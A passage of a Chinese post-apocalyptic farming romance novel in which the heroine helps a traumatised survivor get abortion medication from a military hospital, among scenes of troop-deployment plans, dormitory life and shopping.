白芳还是头一次听说这种沤肥方法,“那肥效好吗?”
“……跟你们阳县交换的物资都是丧尸肥养出来的。”
白芳笑了,明白了她刚刚心虚摸鼻子是为什么。
“不过阳县的丧尸都是他帮忙清理的,赵队干活果然是细致。”时枌顺便夸了他一句。
只是这种夸奖对牛马赵队来说并不算悦耳。
“你家住哪?”时枌问她。
“快到了,就在这个居民区,三楼。”
三人一边说话一边穿过街道,走到了一栋六层楼面前,锈迹斑斑的铁门吱呀一声被打开,水泥楼梯上的灰尘都是厚厚的,踩上去浮沉一下就起来。
“这种楼房质量似乎不错。”赵弋忽然开口。
“嗯,这几栋虽然是比较老的单元楼,但是质量很不错,都是水泥红砖砌好的,内部通水通电……不过现在是没有了。”白芳说。
“你们这附近的房屋保存都比较完好?”赵弋又问。
“应该都挺好的,一个多月前尸潮还没发生的时候我们这里住了两百人左右,部分人还会偶尔回居民楼。”
他们是为了安全才会集中在仓库附近,而集中的这个过程也并不是突然就宣布集中的,只是在三番两次丧尸骚扰造成伤亡后,他们才逐步搬家缩进了那个小圈。
其实这些低矮的居民楼,才是他们阳县人的家。
一路上赵弋都在拍照,进了屋,他又问方不方便拍摄水电设施,白芳说没问题,还一边跟他讲解。
“自来水还是有的,阳县这边本来也有自己的发电厂,只是末世之后没有人维护,就没电了,因为咱们这边煤多,家家户户以前都是烧煤的,甚至现在不少家里都存着煤碳。”
“看来这片区域保留的还不错。”赵弋拍完收了手表。
时枌则是帮着白芳收拾东西。
看着她俩收拾,赵弋沉思过后还是开口。
“保护区后续会考虑将阳县作为一个小型保护区,军队驻扎,尤其是铁矿煤矿附近,其实如果你不想搬家,也可以保留这一个屋子,这是你作为阳县居民应有的权利。”
关于保护区的这些会议内容赵弋还是第一次这么跟外人说,但无论如何白芳是阳县居民,她有权利知道后期保护区对阳县的规划,她也应该享受到一部分优待。
“所以你们主要是为了铁矿煤矿?那到时候是不是会需要很多人去矿里工作?”白芳很快抓到了重点。
她听时枌说过保护区的积分政策,保护区对积分的管理非常严格,除了政府的一部分挖矿工作外其他人很难挣到积分。
“我的意思是,我力气足够大,如果到时候矿里需要人,我可以去帮忙然后挣积分吗?”
“可以,”赵弋说,“阳县主要是为了挖矿获得资源,我们需要人手,但同时也有一个问题。”
“兰城保护区能分到阳县工作的居民可能大部分会是阳
城难民,以及一部分在兰城很难生存的居民,所以一开始人口会很复杂,但是有驻军,保护区纪律严明,治安上你不用太担心。”
“当然你也可以选择在时枌农场附近找一个新的屋子,重新开始。”
赵弋的话回荡在空空的屋子。
这间屋子曾经住着他们一家三口,餐桌上的碎花布,透明玻璃花瓶里枯萎的野花,厨房零零散散的家具,无一不是他们生活过的痕迹。
白芳想要重新开始,但她也割舍不下这些回忆。
她看向时枌,“我知道这样可能会让你为难,但是我想……在保护区驻军到之前我能不能暂时住在你的农场?在这期间我会帮你干活,我也会用枪,能保护自己,但是上山打猎并不擅长,居住期间的积分我先欠着,等之后我注册了身份,攒了积分再慢慢还给你,这样可以吗?”
时枌一直安静听着。
她知道白芳对阳县的留恋,也知道如果有的选白芳肯定会选择留在阳县,现在得知兰城保护区即将来驻军的消息后当然会心动。
“可以,我们按规矩来,你交付积分,在农场干活,我让你住下来,包吃包住。”时枌一口答应。
因为得到了新消息,白芳也就改变了想法,只收拾了一些必需品装进箱子里准备带出去,其他的就都保留在这个屋子里,等着她之后再搬过来。
回程路上,白芳压抑不住的兴奋,问赵弋:“你们大概什么时候回来驻军呢?”
赵弋:“并不确定,但我估计至少会在这个夏天有决定,速度快的话一个月也是有可能的。”
目前会议上大方向还是赞成迁移一部分兰城居民前往阳县,减轻兰城的负担,挖矿的同时也能利用阳县优渥的土地资源,尽可能的多种食物,以满足居民的食物需求。
赵弋本人也是赞成的。
只是这件事的推进不会简单,还得需要他们从中理清关系,必要时候或许还需要采取一些紧急措施。
时枌不懂这些,但对她来说保护区来驻军也是一件好事。
阳县有了军队,她又是保护区的一员,多多少少还是有些人脉关系的,她的农场保障又多了几重,而且阳县人口多了起来,她农场多余的资源也有了人可以交换资源,到时候无论是交换积分还是交换其他物资也都很方便。
更重要的是……
“所以你们来驻军的话,是不是就会有电?”说到电,时枌眼睛都亮了起来。
“嗯,会有的。”
“那我的农场是不是也可以……”
“得看具体情况,毕竟你的农场离阳县距离也有五十多公里,不一定能通到你家。”
一提到距离,时枌就皱起眉毛。
确实太远了。
阳县的发电厂主要也是为了维护他们阳县,她这边的电线且不说能不能用,到底是不是接的阳县的电还不清楚,她又不可能去挖地下电缆摸清楚。
可是,她真的好想通电啊。
通电后她就能有电灯,有电冰箱,有热水器……这一次任务应该能攒不少积分吧?她再努努力,攒积分买个电冰箱不成问题的。
该死的,他们为什么只在阳县驻军,干脆驻到她农场附近啊!她一点都不介意!如果可以她愿意每个月都杀一头猪上供!
时枌越想越气,鼓着腮帮子闷着一肚子气开车,憋的跟个河豚似的。
赵弋坐在驾驶座感受着不断增加的车速,车窗倒影快速后倒,他整个人都下意识的向后贴紧了靠椅,同时手捏了捏安全带。
不再敢吭声。
生怕司机一盘子给他送下马路。
到了农场后,赵队下车还心有余悸。
白芳去叫糯糯了,打算跟她宣布这个好消息,时枌想起罗辉一家,于是问赵弋:“罗辉一家也可以注册保护区的身份吗?”
“等驻军到了可以来注册,走个流程就行。”
“哦。”时枌用了一声,“所以你们驻军范围就不能扩大一点吗?”
赵弋笑了,“扩大多少?五十公里?正好到你家?”
“为什么不可以呢?”
“……”用脑子想想都不可能。
阳县才多大,如果扩张到时枌农场这边,那得多大范围?那几乎是普通城市市中心到郊区的距离了。
除非把阳县打造成另一个兰城。
……这么想,似乎也不是不可能。
只是时间要往后推迟至少一年吧。
“你作为高级指挥官,没有话语权么?”时枌问他。
“没有。”他回。
他的话语权几乎可以忽略不计。
但是,他有个便宜后爹,在兰城地位举足轻重。
“那你这个高级指挥官当的可真不怎么样。”时枌说。
“嗯,你说的对。”赵弋敷衍道。
“所以你什么时候回去?晚饭不用管你了吧?”
“……”
很好,知道他没用之后就开始赶人了呢。
他在阳县的工作基本完成,算起来也是时候回去了。
但他莫名就是不太想这么快遂她的意。
“晚饭会在这边吃,我得看看老四,然后顺便帮秦丰带一些奶酪回去。”
一听就知道是秦丰托他给叶枝蔚带的。
“那你准备拿什么跟罗辉换?”时枌问。
“换?”他挑眉,语气十分嚣张,“刷脸不行吗?”
时枌惊讶,“刷什么脸?你这张脸吗?”
虽然赵队确实秀色可餐,但是这么明目张胆说刷脸是不是有点太不要脸了啊。
她还真的仔仔细细认认真真看了他这张脸,再次肯定,确实好看,尤其是在阳光下白衬衣衬的,那一身凶煞气息都没了,眉眼中还带着笑意,乍一看还挺阳光。
但在时枌印象中,赵队永远是那个在站在卡车上帮她抛尸烧骨灰沤肥一身血腥的牛马。
所以那点子旖旎很快就消散,她眯起眼鄙夷看着他。
赵弋:“谁说刷我的?刷你的不行吗?”
“打着你的旗号去要点奶酪,罗辉不会不给吧。”
时枌:“!!!”
“臭不要脸!”
“不准刷我的脸!”
50-60
第51章 第51章你之前可没这么不好意思……
时枌实在太要脸了。
她为了要脸强迫赵队跟她一起摘光了整个草莓地的草莓,装了两个篮子,亲自送过去。
再委婉提出想换一些奶酪送给朋友。
罗辉欣然应允,烈烈跟阳阳都高兴坏了,两个小孩鼻子都凑到草莓上深吸一口气,馥郁的草莓香味令人晕眩。
阳阳:“糯糯有没有?我要留给她吃!她明天来不来玩啊时枌姐姐!”
“应该会来吧,这段时间糯糯跟白芳都住在我的农场,你们可以随时来我家玩,等夏天我给你们分享草莓苗,这样你家也可以种草莓了。”
“太好了!”阳阳高兴的蹦起来。
天快黑了,时枌赵弋跟他们说再见,两人并肩往她的农场走,赵弋拎着一篮子奶酪。
“一会儿我把奶酪包一下你再给枝蔚。”时枌说。
“好。”赵弋应了声。
回到农场时枌拿过奶酪就上楼包装,经过一楼的时候发现浴室的灯亮着,好奇看了眼。
可能是白芳在洗澡?
她本想上楼,忽然有一只小手扯了扯她的衣角。
是糯糯。
糯糯抬头,一双瘦瘦的脸上凹陷的大眼睛充满担忧的望着她,同时手指了指自己的肚子,又指了指亮着光的洗手间。
时枌没明白她这是什么意思,蹲下身跟她交流,语气尽量柔和一些,“是不是白芳在里面?”
糯糯皱着小眉毛点点下巴。
“跟她的肚子有关?她今天吃坏肚子了吗?”
糯糯摇头。
“那她……状态是好还是不好?”
糯糯继续摇头。
时枌也跟着担心起来。
跟肚子有关……到底是什么?白芳遇到了什么麻烦吗?
糯糯看她始终不明白,忽然用自己的手锤自己的肚子起来,时枌赶紧阻止了她,这时洗手间里传来蹦上蹦下的动静。
时枌过去敲门,大声问:“白芳你怎么了?需要帮忙吗?”
白芳可能并不知道外边有人,语气慌张,“我没事!不需要帮忙。”
听这个语气就不像是没事的样子。
时枌安静半晌,直到里面又传来动静,洗手间是可以反锁的,但是不是所有人都进洗手间会反锁,时枌想了想,然后一把拉开了门。
洗手间镜子前立着一根蜡烛,白芳站在
洗手台前,手掀起衣服正在用肚子撞击洗手台的角,肚皮已经红了一片。
时枌赶紧去拉她,“你做什么?白芳!”
白芳怔愣半晌,忽然鼻头一酸,整个人脱力般坐在了地上,“我……我没办法……”
“到底是怎么了?”时枌也蹲下身。
糯糯靠在门框边,小手扒拉着门框,瘦小的脸皱成一团看着她们。
白芳一双眼睛蓄满了泪水:“我怀孕了。”
时枌不知道该如何反应。
她对这种事没有经验,但看着白芳通红的肚皮,她至少知道她是不想要这个孩子的。
“我知道我这样很不正常,它是一个未出生的孩子,我不该就这样放弃它……”白芳绝望地笑了,“可是时枌,我的孩子呢?他死在尸潮里,被丧尸分食,我的丈夫,因为无力拯救其他人而自杀……我的丈夫孩子已经死了,现在我肚子里的这个,是肿瘤,是寄生虫!它不是我的孩子!”
说到最后白芳情绪激动,手也下意识地去撕扯自己已经通红的肚皮,很快肚皮上就是一片抓痕。
时枌拉着她的手控制住她,“我不会那么想的!你当然有权利不要这个……东西,但是也不能伤害自己啊……这样没办法让孩子掉出来的……”
时枌轻轻拍着她的背安抚着,很快想出了解决办法,“你等等我,我可以去一趟保护区,他们那边有医院有医生,一定有药可以给你吃,我们可以选择一种更稳妥的办法……”
白芳看着她,“真的吗?”
“真的,我这就去。”
去一趟保护区而已,并不麻烦,正好也能亲手把奶酪送到叶枝蔚手里,再说赵弋也有车,也很方便,就是回程……
“反正我也要去一趟保护区做任务汇报,总是要去的,顺便给你拿药,这段时间你跟糯糯就住在这里,吃喝就拿厨房里的食物,外边菜地也可以随便摘,我最多两天就能回来。”
安置好白芳,时枌拿着装奶酪的包裹就出门了。
她出门不需要带太多东西,基本只需要带个人就行。
赵弋已经把车开到了前院,等了许久没见时枌出来,本想进去找她,结果她就跑了出来。
看着挺着急,跑的上气不接下气。
倒也不用这么急着来送他,赵弋心想。
“就这么想送我走?”
“不是,”时枌平复呼吸,“我有点事要办,要不我跟你一起去保护区吧?”
赵弋:“???”
“反正你也顺路嘛。”
“你要去保护区做什么?”
白芳怀孕这件事怎么说都是人家的隐私,况且赵弋是个大男人,时枌不好意思直接跟他这么说,她打算等到保护区之后找到叶枝蔚再让她跟自己一起去找药,所以现在时枌只能随便找个借口应付赵弋。
“这次任务不是会有积分么?正好我昨天收拾东西发现买少了一些,想去保护区补齐。”
赵弋:“你还缺什么,列个单子给我,下次我再来就给你带过来。”
“这不是不好意思麻烦你嘛。”
赵弋:“你之前可没这么不好意思。”
时枌板起脸,“顺路的事,我不是还要去保护区做任务汇报吗?”
“昨天你说当面做任务汇报太麻烦,已经汇报给我了,不是吗?”
时枌:“赵队,你真的,有点讨人嫌了。”
她拉开副驾驶车门一屁股坐了进去,自己系上安全带,抱着奶酪,高冷地侧头看他。
“愣着干什么,开车啊,难道还要我请你?”
赵弋默默上了驾驶座。
虽然不知道她到底想去保护区干什么,但为了避免发生上次她一声不吭就要单挑白狼整个营地的突发事件,赵弋还是提醒了一句:“你要办什么事可以先跟我说清楚,说不定保护区也发布了相关任务,你不需要独自行动。”
时枌:“你真的,有点啰嗦了。”
赵弋深吸一口气。
行吧,反正他管不了她。
第52章 第52章为了这个,她可以多留一……
路上时枌都是一副很不好惹的样子,导致赵弋开车都有些战战兢兢。
但很快他就反应过来。
他有什么好害怕的?
他为什么要害怕?
心里觉得莫名其妙,但赵队还是很识相地没开口继续追问,尽量让自己显得不那么讨人嫌一些。
直到快到兰城脚下,他才问:“你今晚打算住哪?”
“去叶枝蔚那吧。”时枌正在给叶枝蔚发消息,她说一会儿来城门口接她。
这个点也不算太晚,看看手表也才晚上七点,兰城内部有宵禁,八点过后就没有公交车了,叶枝蔚刚好能赶上最后一班公交车到城门口,然后再坐他们的车回东区,——现在叶枝蔚还是住在东区宿舍里。
兰城里是没有酒店旅馆这种东西的,军人会住在军事基地内部或者周围的宿舍里,普通居民也会分配住处,基本上没有空屋子。
时枌跟赵弋在城门口经过安检才进去,又在城门附近等了会儿。
看得出来兰城居民没什么夜生活,这个点没几户亮着灯,路上也没什么行人,时枌还发现他们亮着灯的家里似乎光线也并不怎么好,显得很昏暗,于是出声问了赵弋。
赵弋:“最近兰城限电。”
他没说具体原因是因为城主女儿的成人礼,毕竟对外的借口是老黄历“资源紧张”。
“也是,兰城好像也没有什么资源。”难怪会想着要去阳县驻军。“那你们的农场呢?我能去看看吗?”
赵弋没有立刻答应。
兰城其实没有农场,那东西应该叫做农业基地,划分为好几个基地,前身是兰城农业大学,后来又把一大片农田划了进去,占地面积相当大,但是因为末世资源紧缺,农药化肥不足,所以每年收成也不理想。
而这些农业基地一般是不对外开放的。
如果是时枌想要去看看……他可以想想办法,毕竟时枌这个身份,也能算作半个农学专家了吧。
“我帮你安排,后天可以么?”
时枌本想明天拿完药就回农场去,但参观安排在后天,那她就得在兰城多待一天时间,她仔细想了想,这次应该是个不错的机会,说不定能在兰城弄到一些不错的种子跟果树苗呢?她那边的蔬菜瓜果都固定品种了,每年都吃这些也会腻,她想要新品种还得去山上找,找了还得带回来种下经过一年才能测评是否适合留在农场,时间成本太大,但兰城这么大的保护区应该有自己的农场,也有专门负责维护农场的人,她可以去请教请教种植经验。
为了这个,她可以多留一天。
“可以,那我在叶枝蔚那儿多待一天。”时枌说。
谈话间远远公交车灯照过来,时枌眯了下眼睛,然后就看见叶枝蔚从车上下来,朝她笑。
时枌朝她挥手,也跟着笑起来。
也不过是几天没见,时枌却觉得格外想念她。
叶枝蔚是小跑过来的,喘着气的间隙时枌就已经把一包东西塞到了她怀里。
“给你带的特产,不要客气,是秦丰托赵队买的,秦丰会付钱。”时枌一句话就把叶枝蔚还没说出口的推辞怼了回去。
叶枝蔚脸上笑意加深,“那谢谢你跟赵队跑一趟了。”
说完她目光下意识落在面前两人身上。
城门口的照明灯下,两人并肩站立,姿态悠闲中又透着一股说不清道不明的熟稔,比如赵队站在时枌身侧靠后半步的位置,隔绝了守城门士兵时不时探寻的目光,这让叶枝蔚觉得……像是野兽在圈地盘。
不过赵队已经回保护区了,时枌也申请了驻外,以后他们俩相隔这么远,应该也不会有什么交集吧?更何况时枌还是一副小孩儿样,没开窍。
三人上了车,时枌跟叶枝蔚坐在后座,赵弋是司机,坐在驾驶座默不作声开着车,后座倒是比他热闹得多。
“你给我的包裹我都拆开了,谢谢你啊。”时枌说。
“没事,如果你还有需要这次来也能再买一些,那东西保质期很长,能放很久。”
“我也是这样想的!”
前排赵弋听着皱眉思考,她们在打什么哑谜?到底买了什么东西怎么也不说清楚?
但他也不好意思开口问。
“马上夏天天气也热了,要不我们明天再去逛一逛?看看有没有什么合适的东西一起买回去,”叶枝蔚说,“我知道你现在有钱啦,刚结束的那个
任务赚了不少吧?”
“我不知道诶,这个怎么看?”
“赵队没跟你说么?”叶枝蔚抬起她的手教她查看账户余额,“这个是你的积分余额,现在还没有,因为积分还没达到你的账户上,等明天你做完任务汇报财务就会打款,因为你做的是S级任务,打款速度会比较快,上午汇报完下午就能到了。”
赵弋听着,还是忍不住解释:“我今天就已经帮她把任务汇报交上去了,财务正在打款,明早就能到,缺的口头汇报可做可不做。”反正他也要去一趟任务交接处。
“那我就不去了,明天早上我们就出门……对,还没问你有没有时间?”时枌问。
“有的,明天是我最后一天假期,后天我就要跟秦丰一起去做任务。”
“危险吗?”听见她又要出去做任务,已经经历过保护区外围凶险的时枌忍不住担心起来。
“放心,只是普通的丧尸清理任务,不是很危险。”
“保护区周围好像已经没有多少丧尸了呢。”
时枌回忆道。
她在保护区东边森林里待了几天连丧尸影子都没看着,倒是活人更多一些。
“嗯,说起来离保护区外围远一点,大概是在保护区跟你的农场之间?挺大一片区域呢。”叶枝蔚没办法当着高级指挥官的面跟时枌聊太多任务细节,所以也就是简单解释了一下,两人就换下一个话题。
小姐妹重聚总是有说不完的话。
司机赵弋却想的比较多。
上头已经开始发布清理保护区到阳县路线上的丧尸任务,说明是下定决心要在阳县驻军了,这个速度已经超过他的预期,看来严老推进得挺快。
那也就是说,之后的进程也会比他想象中更快一些。
或许不需要几个月,他们就会发布新的政策了。
车还没到东区,赵弋的手表就响了起来,他看了眼来电,是老严办公室发来的,他不方便接听,就按了拒绝。
车停到东区门口,他去交接车,时枌跟叶枝蔚已经兴高采烈跟他拜拜往宿舍去了,留下他一个人办手续,手续还没办完又被东区门口的士兵愁眉苦脸地提醒:“严老还在办公室等您。”
“稍等,我等他们检查完车辆。”
士兵继续苦着脸说:“严老说不用您等,您先上去吧,他有更重要事。”
老严这个急性子估计是一辈子都改不了了。
赵弋只能留了自己的电话,叮嘱他们如果车有什么问题就给他打电话沟通,再往灯火通明的办公楼走去。
而另一边跟着叶枝蔚到宿舍的时枌像是走进了新大陆,一切都是那么新奇。
天都黑了,但也不算太晚,宿舍楼来来往往也有不少人,有的端着脸盆湿着头发跟叶枝蔚打招呼,有的正在楼道尽头吹头发,吹风机的声音响彻整个楼道。
“这栋楼是女生宿舍,这一层是单人单间,但每个人的空间比较小,每个房间没有洗手间,得去楼道尽头的公共卫生间跟洗澡间,那边晚上也会亮着灯的。”叶枝蔚耐心跟她介绍着,一边掏钥匙打开门。
这间屋子比秦丰的宿舍确实要小一些,没有厨房没有洗手间,只有简单的床铺衣柜桌子,一个很可爱的小沙发,墙壁上贴着泛黄的墙纸,但整个屋子被收拾的很干净,一进屋叶枝蔚就拿给她一双拖鞋。
她的房间一般不会有客人来,所以也没准备客人的拖鞋,叶枝蔚就找出了自己冬天穿的棉拖鞋,把自己的夏天拖鞋给了时枌。
趁着时枌换鞋,叶枝蔚把奶酪放进柜子里,拿出一部分放进小盘子,又拿了些糖果出来招待她。
“我给你找套睡衣,一会儿你跟我一起去洗澡吧?”叶枝蔚说,“这边有热水淋浴,很方便的。”
“好呀。”时枌有些拘谨地看了看屋子。
“十点停水停电,咱们现在得去洗澡了,你饿不饿?我让秦丰送点菜过来?这个点食堂还有宵夜。”只是相对贵一些,可叶枝蔚想着时枌肯定喝不惯营养液,还是得买一些正常食物来招待她。
“会不会太晚了?有点麻烦吧?”
“不麻烦,最近办公楼那边总是这个点散会,食堂会特地安排宵夜,反正秦丰也闲,让他跑跑腿减减肥吧。”
秦副队确实是需要减肥了,时枌想着。
简单收拾一下,时枌就带着换洗睡衣,叶枝蔚抱着一脸盆的洗漱用品一起进了公共洗澡间。
这个点人还挺多,两人跟人商量找了个相邻的隔间一起洗,方便递洗发水沐浴露。
“明天我们去买点洗发水,上次忘了,我回家洗澡才想起来,这东西比你的肥皂好用。”叶枝蔚说。
正在给自己头发搓泡泡的时枌嗯嗯点头,觉得自己整颗脑袋都是香香的。
叶枝蔚的洗发水是淡淡的玫瑰香,她在家里蔷薇盛开的时候闻过,虽然做成洗发水后味道有那么一点点不同,但整体上还是很好闻的。
不过比起玫瑰她更喜欢兰香,要是有兰花味道的洗发水就好了。
洗完澡出来叶枝蔚教她怎么用吹风机,两人抓紧时间吹完,批了外套下楼去宵夜,秦丰已经打了好几个电话来催她。
秦丰去食堂买的土豆饼跟炸酱面,据说是得到秦队认可的两道菜,他一口气买了三份,拉着她们在宿舍楼下吃,惹的路过的人抱怨。
第53章 第53章“给你带的,刷我的积分……
土豆饼是土豆切成丝简单调味再压成饼状放在锅里用油煎,表面脆,内里却有土豆丝的口感,又香又饱肚子,至于炸酱面的面条没什么特别,主要是酱据说是食堂老大爷家祖传秘方轻易不传人,而这酱味道也确实不错,还有点肉沫,一整碗香喷喷。
秦丰吃东西快,时枌跟叶枝蔚吃到一半的时候他就已经吃完了,擦擦嘴,一只脚搁在花坛边上,跟她们唠嗑。
“听说你一个人接了108号的任务啊?感觉咋样?一般我们去那鬼地方至少得五人组队,还得是你啊枌枌,真猛!”秦丰竖起大拇指。
叶枝蔚还是第一次听说时枌接任务的事,一脸惊讶,拉了拉正在啃土豆饼的时枌,“真的?你一个人接了S级任务?”
时枌嚼巴嚼巴,“不是啦,我是想顺路解决一下白狼这个威胁,没有想接任务,是赵弋给我顺便接的,反正……就很顺便……。”
秦丰也是从其他人口中谈论得知老赵接108这个任务,结果发现老赵还待在东区没挪窝觉得不对劲,当面问老赵后才知道这事原委,因为怕叶枝蔚担心,只敢今天见到时枌活人了才提起来。
“其实你不用这么着急,也怪我当时在农场没跟你说清楚,白狼这群人吧,跟咱们保护区都不知道交手多少回了,如果还有通缉令的话,白狼绝对排得上前三,保护区肯定是会处理的。”秦丰道。
最近对保护区也略有了解的时枌知道他这话只是在劝自己,“保护区人力有限,不会为了一个二三十人的团伙派出精锐去追杀,也只会像这次一样,如果目标出现在保护区周围就发布任务
等待人承接,我的农场离保护区太远了,你们是管不到我那边的。”
这话说得秦丰哑口无言。
因为这是事实。
保护区只保护兰城内部,兰城之外爱莫能助,毕竟他们不是世界警察能到处抓人。
叶枝蔚也明白了时枌必需要铲除白狼这个威胁。
“那这次任务怎么样?顺利吗?”叶枝蔚问道。
“也算成功了一半吧,白狼跑了,营地其他人都死了,我只救出了两个人质……”说起人质,时枌就想起了白芳,她看了看秦丰,心想还是等回到宿舍再跟叶枝蔚商量怎么拿药。
三人在楼下吹风聊天,差不多停电才分开各回各自的宿舍,时枌吃饱喝足,抱着叶枝蔚的保温壶喝着温水坐在小沙发上,叶枝蔚正在给她收拾地铺。
主要是叶枝蔚这张床实在太小了,属于一米七多的叶枝蔚翻个身都容易掉下来的小,所以没办法躺两个人,更何况时枌也不矮。
只能打地铺。
叶枝蔚把小沙发跟小茶几挪了位置,空出地方,拿出冬天的棉被先在地上铺一层,再铺上床单,再给她一张毯子,一个玩偶做枕头。
时枌就跟她说着白芳的事。
叶枝蔚听完,“可以去军医院拿药,但是我不确定堕胎药这种药品医生会不会给,我也没有经验,我建议……明天叫上赵队吧?他在东区说话比较管用。”
“啊,要告诉他吗?”
这也是叶枝蔚犹豫的。
可是拿药毕竟是更重要的事,况且赵队也不是话多的人。
“应该没问题,赵队不会乱说的,他应该也能理解。”
时枌想了想赵弋那个闷葫芦,确实也不嘴碎,而且看起来也挺可靠,——那就提醒他以后在白芳面前装作什么都不知道的样子吧。
已经停电了,她俩也没多聊,铺好床铺躺下睡觉。
时枌摸着叶枝蔚的小毯子,“枝蔚啊,你的毯子哪里买的?我也想买一张。”
“明天带你去买。”
“这个玩偶摸起来手感也很不错诶。”
“明天去买。”
“床单被罩……”
“去买去买!赶紧睡!”
叶枝蔚有属于自己的严格作息规律,到了这个点本来就已经要睡了,铺床才迟了点。
时枌翻了个身笑着应了一声,没打扰她,闭目开睡。
第二天她们是被叶枝蔚的闹钟吵醒的。
时枌一晚上没做梦,睡得香甜,一早上被一个激灵吵醒整个人都是懵的,就被叶枝蔚带着去刷牙洗脸准备出门。
这个宿舍楼住的都是女兵,一早上走廊更是有不少人,看见时枌这个生面孔都好奇看过来,跟叶枝蔚熟悉的还会过来问。
时枌就大大方方跟人打招呼。
叶枝蔚也解释:“这是我们小队新招的狙击手。”
一个漂亮姐姐哇哦一声,捏了捏时枌胳膊肌肉,竖起大拇指夸她:“真厉害!”
时枌嘿嘿傻笑。
洗漱完她俩就出门了。
军医院就在东区内,时枌先给赵弋打了电话,赵弋说他半小时内到,两人就先去食堂吃了早饭,简单的豆沙包跟油条豆浆,时枌一早上就发现积分到账了,足足两千积分呢,她大手一挥给叶枝蔚早饭也买了单,又觉得这豆浆实在香甜,给自己买了第二杯,买的时候想着赵弋一会儿也来,就顺便给他也买了一杯,加糖。
赵弋没到的时候两人就在食堂门口闲聊。
叶枝蔚说一般任务积分奖励不会有这么多,因为承接一个S级任务需要一个至少五人的小队,两千积分均分到每个人也才四百,这是正常价格,而因为这次实际执行任务只有时枌一人,赵弋又打了申请将全部任务奖励积分都给了她,所以才有两千这种巨款出现。
“所以你不要觉得在保护区随随便便接个任务就能赚两千积分哦,S级任务死亡率也是很高的,能做这个的都是冒着生命危险。”叶枝蔚说,“以后接任务前要多跟我们商量,我们可以帮你看看任务好不好做,说不定能帮点忙。”
“嗯嗯!我知道了。”
时枌已经喝完了第二杯豆浆,她太久没喝到这种纯正豆浆了,以前小时候村里有户人家做豆腐,她每天早上都能喝到热豆浆跟豆腐脑,可是丧尸爆发后那户人家就没了,做豆浆实在是麻烦,她平时一个人不爱折腾,这么多年还是第一回喝到正宗豆浆。
所以这会儿枌扔完杯子就把主意打到了原本想留给赵弋的这一杯。
反正他又不知道是给他带的,她不小心喝了也没什么问题吧?
偏偏正在犹豫的时候,赵弋来了。
远远就看见一辆黑色轿车停在东区门口,下来一个身高腿长屁股翘的男人,一身白衬衣黑裤打扮,短发,面容严肃,气势逼人。
时枌也就不好意思当着人家面喝第三杯豆浆了。
在赵弋到跟前的时候老老实实把手中的豆浆递过去,还着重强调:“给你带的,刷我的积分余额。”
赵弋受宠若惊接过。
时枌一边跟他解释白芳的事,一边眼神不由自主地盯着他手里那杯豆浆。
他为什么不喝?
是不是不喜欢喝豆浆?
豆浆放凉了就不好喝了。
他不喝为什么不还给她呢?真令人着急。
而在赵弋的视角看来,时枌盯着他手一直看,对他手里那杯由她亲自送过来的豆浆充满了觊觎。
赵弋怎么不可能不明白她在想什么。
于是他慢悠悠的,当着她的面把豆浆喝了。
男人就像是抽水机,咻地一下,吸管就发出咕噜噜空瓶的声音。
时枌彻底死心了。
算了算了,明天再买吧,反正还得待一天。
“知道了,不过我只有这会儿有空,现在带你们去医院?”赵弋悠闲地说。
显然他并不在乎白芳。
只是他的两个队员有事相求,在规则允许又是能力范围内,他没理由不帮忙。
赵弋对军医院非常熟悉,不需要护士指引,带着时枌去挂号,面诊。
对面坐着个中年女医生,一抬头看见两女一男有点懵,随后拿出医生的专业素养,问:“请问是哪位怀孕了?”
时枌脸一红,“不不不,不是我们,是我保护区外的朋友,我想帮她买堕胎药回去……”
“朋友?”医生了然,抬眼看了下赵弋,“你这个朋友……怀孕多久了?”
“啊?多久?”时枌掐指一算,“应该不到两个月吧?好像是这样。”
医生迷惘了,再看看面前这个小姑娘,以及她跟赵弋之间纯洁无辜的氛围,突然明白过来自己误会了,“哦,不过最好是来做个检查,这边也有更专业的手术室,药流……是比较伤身体的。”
时枌并不了解这些,但她见过白芳撕扯自己肚皮的模样,她知道白芳是坚决不可能要这个孩子的。
“可是比起药流的伤害,她生下来一个自己被强迫后的孩子,这样带来的伤害才是无穷无尽的吧?”
医生也沉默了。
“给你开药,但是要注意,药流之后不能躺着不动,最好爬爬楼梯,多走动,而且要确认孕囊排出……在保护区外的话是不是没有卫生巾?建议买一些回去备用,药流后要多注意保养身体……”
医生说了很多注意事项,时枌一一记下,甚至借了张纸拿笔写下来,然后认真叠好放进口袋。
拿了药后时枌好奇看了看。
叶枝蔚倒是想了起来,“你一个人在农场是不是也没什么药品?要不备一点常用药?”
这个时枌确实没有,主要是她还年轻,小病忍一忍就过去了,而且身体倍儿棒,也没出现过什么意外。
“驻外有常用药补贴,你去拿药,单子给我,我给你写申请。”赵弋说。
“能报销啊?”时枌眼睛亮了起来。
赵弋笑了,“有额度的,还有药品限制,比如你手上这个就不能报销……算了,我跟你去药房拿。”
叶枝蔚心领神会,“我在外边等你们。”
时枌高高兴兴跟赵队去拿药了。
第54章 第54章不过有赵队在,流程会走……
有赵队带着,拿药的流程走的十分顺利,拿到单子后赵弋顺便带着她走了报销申请,然
后自己批了上传给领导。
“这个月底报销的积分就会到你帐户。”赵弋说。
“所以还是需要我提前付钱?”时枌耷拉着脑袋,对这项政策有点不满意。“本来我打算今天跟枝蔚去多买点东西的,床单被罩羽绒被毛毯什么的,听说都很贵。”而且这些都是她在农场不容易获得的物资,除了她自己,她还想给罗辉一家跟白芳她们也买一些生活用品。
赵弋默默摘下了自己的手表递给她。
时枌顿时喜笑颜开一把接过:“感谢队长支持!队长下次来农场我给你熬鸡汤喝!”
“不杀猪了?”
“……你要想杀猪也行。”
只是语气听着很是勉强呢。
赵弋也没为难她,“下次有什么任务需要你,希望你尽量配合。”
“嗯嗯。”时枌敷衍地应付着。
反正早得很,她已经做了一次任务了,接下来三个月都很自由。
赵弋看着她满不在乎的样子只是笑笑,没多做解释。
按照现在的进度,恐怕不久后就会发布更多清理任务,到时候时枌的农场作为保护区跟阳县之间的“补给站”,秦丰他们可能不去吗?
反正赵弋是不信的。
“逛完街就把手表还回来,我在办公楼,你跟一楼的人说找我就行,手表给她看。”赵弋叮嘱道。
“这么小气啊,我又不会刷很多。”时枌嘀咕。
“不是怕你刷太多,是我晚上还需要手表继续开会。”赵弋无奈。
“哦哦,好的,我明白了赵队,您忙去吧~”时枌把一大袋药品塞到他手里,“这个你先拿着,我逛完街顺便来取就行!”
说完就跑了。
生怕他撵上来似的。
跟叶枝蔚碰头之后,两人先去买了果汁跟烤香肠,时枌买单,再去逛街。
